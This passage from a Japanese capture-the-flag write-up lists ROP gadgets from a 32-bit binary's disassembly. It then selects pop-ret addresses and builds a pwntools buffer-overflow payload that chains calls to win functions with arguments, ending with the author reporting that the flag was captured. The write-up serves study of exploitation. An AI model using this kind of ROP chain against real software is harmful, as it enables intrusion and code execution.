  0x08048403               7405  je 0x804840a
  0x08048405         e8b6000000  call 0x80484c0
  0x0804840a             83c408  add esp, 8
  0x0804840d                 5b  pop ebx
  0x0804840e                 c3  ret

  0x08048406               b600  mov dh, 0
  0x08048408               0000  add byte [eax], al
  0x0804840a             83c408  add esp, 8
  0x0804840d                 5b  pop ebx
  0x0804840e                 c3  ret

  0x0804840b               c408  les ecx, [eax]
  0x0804840d                 5b  pop ebx
  0x0804840e                 c3  ret

  0x080485cc               89e5  mov ebp, esp
  0x080485ce     c60541a0040801  mov byte [0x804a041], 1
  0x080485d5                 90  nop
  0x080485d6                 5d  pop ebp
  0x080485d7                 c3  ret

  0x080485d0                 41  inc ecx
  0x080485d1         a004080190  mov al, byte [0x90010804]
  0x080485d6                 5d  pop ebp
  0x080485d7                 c3  ret

  0x080485d3               0801  or byte [ecx], al
  0x080485d5                 90  nop
  0x080485d6                 5d  pop ebp
  0x080485d7                 c3  ret

  0x08048650                 ec  in al, dx
  0x08048651               0c68  or al, 0x68
  0x08048653                 58  pop eax
  0x08048654             880408  mov byte [eax + ecx], al
  0x08048657         e804feffff  call 0x8048460

  0x08048783               0000  add byte [eax], al
  0x08048785       008b4dfcc98d  add byte [ebx - 0x723603b3], cl
  0x0804878b                 61  popal
  0x0804878c                 fc  cld
  0x0804878d                 c3  ret

  0x080487e6             c40c5b  les ecx, [ebx + ebx*2]
  0x080487e9                 5e  pop esi
  0x080487ea                 5f  pop edi
  0x080487eb                 5d  pop ebp
  0x080487ec                 c3  ret

  0x080487e7               0c5b  or al, 0x5b
  0x080487e9                 5e  pop esi
  0x080487ea                 5f  pop edi
  0x080487eb                 5d  pop ebp
  0x080487ec                 c3  ret

  0x080487e8                 5b  pop ebx
  0x080487e9                 5e  pop esi
  0x080487ea                 5f  pop edi
  0x080487eb                 5d  pop ebp
  0x080487ec                 c3  ret

  0x080487f8         e803fdffff  call 0x8048500
  0x080487fd       81c303180000  add ebx, 0x1803
  0x08048803             83c408  add esp, 8
  0x08048806                 5b  pop ebx
  0x08048807                 c3  ret

  0x080487ff               0318  add ebx, dword [eax]
  0x08048801               0000  add byte [eax], al
  0x08048803             83c408  add esp, 8
  0x08048806                 5b  pop ebx
  0x08048807                 c3  ret

  0x08048804               c408  les ecx, [eax]
  0x08048806                 5b  pop ebx
  0x08048807                 c3  ret

この中で、popしてすぐにretしてくれる命令のアドレスを抽出します。

  • 0x0804840d 5b pop ebx
  • 0x080485d6 5d pop ebp
  • 0x080487eb 5d pop ebp
  • 0x08048806 5b pop ebx

これら4つのアドレスならどれでも使えそうです。
上記のプログラムの入力作成部分を下記で置き換えてみます。

# buffer overflowさせるための入力を作成 v2
address_pop = 0x0804840d
payload = b'a' * (0x18 + 0x4)
payload += p32(address_win1)
payload += p32(address_win2)
payload += p32(address_pop)
payload += p32(arg_win2)
payload += p32(address_flag)
payload += b'a' * (0x4)
payload += p32(arg_flag)
print(payload)

こちらでも無事、flagがとれました!